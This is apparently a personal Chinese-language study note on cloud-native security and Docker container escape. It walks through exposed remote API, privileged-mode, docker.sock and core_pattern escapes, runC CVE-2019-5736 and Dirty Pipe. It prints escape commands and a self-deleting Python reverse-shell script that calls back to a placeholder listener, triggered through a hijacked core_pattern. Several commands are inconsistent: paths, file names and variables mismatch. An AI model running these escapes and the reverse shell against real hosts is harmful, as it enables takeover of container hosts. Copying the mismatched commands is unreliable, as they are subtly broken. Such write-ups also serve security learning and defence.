概念
云原生概念:云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式API。
而云原生安全也就是围绕上述几类技术和衍生技术进行楼哦对那个挖掘和利用。攻击路径参考 CIS20220 上总结的攻击模型:
安全问题
基于以上的云原生以及云原生安全,总结出以下可能的安全问题:
- 传统安全问题依然存在
- 传统web入侵、DDOS攻击等依然存在,甚至会因为云上架构复杂,组件直接的调用增多造成更多安全问题;
- API 安全
- 云原生架构中,内部组件和微服务的调用普遍使用API,由此带来的安全问题也逐渐增多
- 容器安全
- 容器镜像安全,如容器逃逸等,可以直接从容器跳到宿主机
- ···
容器逃逸
原理
本质上容器内的进程只是一个受限的普通Linux进程,容器内部进程的所有行为对于宿主机来说是透明的。我们可以很容易地在宿主机以哦那个ps看到容器的进程信息。
所以,容器逃逸和硬件虚拟化逃逸的本质有很大的不同(不包含 Kata Containers 等 ),容器逃逸的过程更像一个受限进程获取未受限的完整权限,又或某个原本受 Cgroup/Namespace 限制权限的进程获取更多权限的操作,更趋近于提权。
而该漏洞利用思路是:
- 检测是否处于容器环境
- 进行容器逃逸
- 基于API 漏洞
- 基于危险配置
- 基于危险挂载
- 基于程序漏洞
- 基于内核漏洞
利用
检测容器环境
参考 Metasploit 中检测 container 的模块(checkcontainer、checkvm)。
- 检查
/proc/1/cgroup
内是否包含"docker"
或"kubepods"
等字符串 (虚拟机环境下也存在一些特征,感觉是主要检测方法) - 检查
/.dockerenv
文件是否存在 (虚拟机环境下无dockerenv
) - 检查环境变量 (k8s 环境下有很多特征环境变量)
- 检查
mount
信息 - 查看硬盘信息 (
fdisk -l
容器输出为空,非容器有内容输出。)
docker 容器复现
测试环境 :docker nginx:latest
镜像
1 | ~/docker# docker run -it nginx /bin/bash |
可以发现,部分测试通过部分没有,但大体来讲能判断目前处于一个docker环境。
基于 API 漏洞的逃逸
Docker 远程API 未授权访问逃逸
该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,http访问会返回 404 page not found。这是 Docker RemoteAPI,可以执行docker命令,比如访问 http://x.x.x.x:2375/containers/json
会返回服务器当前运行的 container 列表,和在 docker CLI 上执行 docker ps 的效果一样,其他操作比如创建/删除 container,拉取 image 等操作也都可以通过API调用完成。
docker 容器复现
- 在配置Docker启动文件(
/usr/lib/systemd/system/docker.service)
时,添加允许任何网段访问Docker Remote API
重启 Docker:
sudo systemctl daemon-reload;sudo service docker restart
验证存在漏洞
1 | root@VM-8-4-debian:/docker-test |
- 在本地利用该 API 创建容器并挂载逃逸(后面有示例):
docker -H tcp://x.x.x.x:2375 run -it -v /docker-test:/test ubuntu /bin/bash
基于危险配置的逃逸
privileged特权模式运行容器
最初,容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性。然而,在特权模式下运行不完全受控容器将给宿主机带来极大安全威胁。
当操作者执行
docker run --privileged
时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
在这样的场景下,从容器中逃逸出去时易如反掌的。例如:攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去。
docker 容器复现
- 漏洞验证
1 | root@VM-8-4-debian:~# docker exec -it 18a16c0e62f0 /bin/bash |
可以看到 CapEff 对应的掩码值为 0000001fffffffff
(ps:搜出来的blog写的是0000003fffffffff
不过后面也能挂载,问题不大。)
- 转义
1 | root@18a16c0e62f0:/# capsh --decode=0000001fffffffff |
- 漏洞利用
1 | root@18a16c0e62f0:/# fdisk -l |
- 其中的
test.sh
我们就可以写反弹 shell 的命令
注意!注意!注意!
此时
/test
和宿主机的/
被挂载在一起,删除test
就相当于删除/
! 😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭
基于危险挂载的逃逸
为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部——尤其是那些不完全受控的容器内部往往会带来安全问题。
挂载 Docker Socket 的情况
Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。
通俗一点:在启动
docker
容器时,将宿主机/var/run/docker.sock
文件挂载到docker
容器中,在docker
容器中,也可以再创建一个docker
,并将跟,目录挂载到新创建的容器内,实现挂载逃逸。
docker 容器复现
环境搭建
- 先搭建docker并挂载:
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
- 先搭建docker并挂载:
漏洞验证
- 如果能再 docker 中找到 sock 挂载文件就说明漏洞存在(
find / -name *.sock
)
- 如果能再 docker 中找到 sock 挂载文件就说明漏洞存在(
漏洞利用
- 在容器中装
docker
:apt-get update;apt-get install docker.io
- 在
docker
容器中,使用命令查看宿主机拉取的镜像docker -H unix://var/run/docker.sock images
- 在容器中装
1 | # docker -H unix://var/run/docker.sock images |
- 在该 docker 中运行一个 docker 如上面的 ubuntu 然后把宿主机根目录挂载进来。
1 | root@33bbc53772f2:/# docker -H unix://var/run/docker.sock run -v /docker-test:/test -it ubuntu /bin/bash |
- 剩下操作与第一个基于特权的一样,写计划任务
挂载宿主机 procfs 的情况
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
- 文件
/proc/sys/kernel/core_pattern
它在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,将进程崩溃信息传递给这个文件中的程序或者脚本。 - 从 2.6.19 内核版本开始,Linux 支持在
/proc/sys/kernel/core_pattern
中使用新语法。如果该文件中的首个字符是管道符’|’,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
docker 容器复现
环境搭建
- 创建一个容器并挂载
/proc
目录:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
- 创建一个容器并挂载
漏洞验证
如果能再 docker 中找到两个
core_pattern
文件:find / -name core_pattern
执行以下命令返回’mountes’:
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "mounted." || echo "not mounted."
漏洞利用
- 当启动一个容器时,会在
/var/lib/docker/overlay2
目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work
目录,而docker
容器的目录保存在merged
目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir
代表的是docker
容器在宿主机中的绝对路径
- 当启动一个容器时,会在
1 | 宿主机 |
在容器中查看该绝对路径并定义为
host_dir
:host_path=$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)
写马:
echo -e "|$host_dir/tmp/.t.py \\rcore" > /host/sys/kernel/core_pattern
接下来在容器里:
/tmp/.x.py
中写马示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17import os
import pty
import socket
lhost = "xxx"
lport = xxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
最后,在容器内运行一个可以崩溃的程序即可,例如:x.c
1
2
3
4
5
6
7
8
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}运行:
gcc t.c -o t && ./t
(容器需要提前安装 gcc 环境)
基于程序漏洞的逃逸
相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。有关程序组件,见下图:
Docker runC逃逸-CVE-2019-5736
比较详细的解说见:容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析
总结:
- 我们在执行功能类似于
docker exec
的命令时,底层实际上是容器运行时在操作。例如runc
- 相应地,
runc exec
命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups
)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。 - 这个过程中存在的风险在于:
/proc
:如果尝试打开/proc/[PID]/exe
,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符(file descriptor),而非按照传统的打开方式去做路径解析和文件查找。这样一来,它实际上绕过了mnt
命名空间及chroot
对一个进程能够访问到的文件路径的限制。 - 在
runc exec
加入到容器的命名空间之后,容器内进程已经能够通过内部/proc
观察到它,此时如果打开/proc/[runc-PID]/exe
并写入一些内容,就能够实现将宿主机上的runc
二进制程序覆盖掉!这样一来,下一次用户调用runc
去执行命令时,实际执行的将是攻击者放置的指令。
在未升级的容器环境上,上述思路是可行的,但是攻击者想要在容器内实现宿主机上的代码执行(逃逸),还需要面对两个限制:
- 需要具有容器内部 root 权限;
- Linux 不允许修改正在运行进程对应的本地二进制文件。
事实上,限制1经常不存在,很多容器服务开放给用户的仍然是root权限;而限制2是可以克服的
影响版本
docker version <= 18.09.2
RunC version < 1.0-rc6
因为个人服务器docker版本过高,且EXP成熟,就不复现了。流程:
编译POC:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
开启监听后在容器中模拟用户进入docker镜像:
docker exec -it container_id bash
此时会发现runC文件被改变
基于内核漏洞的逃逸
脏管道(CVE-2022-0847) Dirty Pipe
该漏洞的大概原理为splice
系统调用由于未初始化某buf,可能包含旧的PIPE_BUF_FLAG_CAN_MERGE
,导致可以通过管道越界写,覆盖关键文件如/etc/passwd
可达到提权的效果。因漏洞类型和“DirtyCow”(脏牛)类似,发现者 Max Kellermann 研究员将该漏洞命名为 Dirty Pipe
参考链接
总结一些前置知识点
- 管道与重定向的简单区别在于,重定向将命令与文件连接起来,而管道符将命令与命令连接起来。
pipe_write
函数对PIPE_BUF_FLAG_CAN_MERGE
的操作,本来无关痛痒,只是可以随意覆写管道。但是由于page cache
的存在,令我们随意覆写管道转换成随意覆写文件,后面想到可以覆写/etc/passwd
,最终达到提权的目的
漏洞复现
- 在虚拟机(centos 7, 3.10.0-1160 kernal)中使用
psych
用户进行测试 - 使用 github 上 poc,运行后直接提权为 root
- 贴不了图了,centos 7 精简版难用的我想杀人
poc理解
- 创建pipe
- 使用任意数据填充管道(填满, 而且是填满Pipe的最大空间)
- 清空管道内数据
- 使用splice()读取目标文件(只读)的1字节数据发送至pipe
- write()将任意数据继续写入pipe, 此数据将会覆盖目标文件内容
只要挑选合适的目标文件(必须要有可读权限), 利用漏洞Patch掉关键字段数据, 即可完成从普通用户到root用户的权限提升, POC使用的是/etc/passwd文件的利用方式。
总结
涉及内核漏洞的提权方式几乎都理解不了,太硬核了,用用 poc 得了。
其余逃逸很大程度都是通过挂载进行逃逸。要么本容器挂载,要么本容器里再创建一个容器挂载。思路差不多,主要围绕 capabilities 和 mount 利用,总的来说感觉都是属于提权操作吧。